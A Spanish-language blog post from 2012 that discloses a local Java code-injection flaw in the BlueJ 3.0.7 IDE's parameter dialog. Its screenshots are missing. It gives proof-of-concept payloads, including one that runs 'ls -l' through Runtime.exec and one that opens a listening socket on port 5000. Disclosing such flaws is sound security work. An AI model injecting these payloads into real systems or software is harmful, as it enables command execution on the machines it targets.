miércoles, 16 de mayo de 2012

Vulnerabilidad en Bluej Inyección JAVA.


La vulnerabilidad se haya en la ventana donde se envían datos como parámetros que llegan a una clase.
Está vulnerabilidad no se puede explotar remotamente solo de forma manual y gráficamente.
Versión: BlueJ version 3.0.7
Testado: Windows 7 y MAC OS X
Fecha: 2012-05-16


Código de la Clase Inyección







El fallo se produce en la validación de entrada, no de en el método Printf();










Ejemplo de un caso normal









ahora vamos a poner además un punto y coma, que va a significar fin de la instrucción y vemos como nos deja crear el objeto
























voy a crear con JUnit un test de prueba. Para los que no lo saben, es grabar lo que haces gráficamente y luego este se encagar escribe el código pertinente. Y veremos como introduce erróneamente la String + punto y coma.
























lo que me dio a pensar que Bluej no ejecuta el código que estamos viendo en la imagen anterior por que daría un error de sintaxis, y ¿entonces como procesará lo que le enviamos através de la ventana de entrada? Eso queda en el aire…

veamos otro ejemplo donde inyectaremos una instrucción, quedando asi:
String + punto y coma + System.out.println(123);





  






ahí ven como se ejecuta primero el System.out.println(123); inyectado que la instrucción de la clase. Dato a tener en cuenta o  no... bueno sigamos.

ahora un ejemplo mas malévolo jeje.

String + punto y coma + try{Process proc = Runtime.getRuntime().exec("ls -l");java.io.BufferedReader brStdOut = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));String str = null;while ((str = brStdOut.readLine()) != null) {System.out.println(str);}brStdOut.close();}catch(java.io.IOException e){}








y como resultado al igual que antes primero, ejecuta la ultima instruccion, el comando ejecutado, en este caso un ls –l y luego el println() de la clase.

Y el ultimo ejemplo:
Código servidor Java

String + punto y coma +try {int puerto = 5000;java.net.ServerSocket escucha3 = new java.net.ServerSocket(puerto);java.io.BufferedReader br = null;while (true) {java.net.Socket conexion3 = escucha3.accept();java.io.DataInputStream entrada = new java.io.DataInputStream(conexion3.getInputStream());java.io.DataOutputStream salida = new java.io.DataOutputStream(conexion3.getOutputStream());System.out.println("Conexion recibida...");String comando = entrada.readUTF();System.out.println("Mensaje desde Cliente  " + comando);}}catch(java.io.IOException ex) {}






y ahora en otro proyecto un Cliente que conecte al objeto donde se ha inyectado el código, que creará un servidor de conexión directa en el puerto 5000, que solo escribirá lo que envíe un cliente que tengo en otro proyecto mandará.


1 comentario: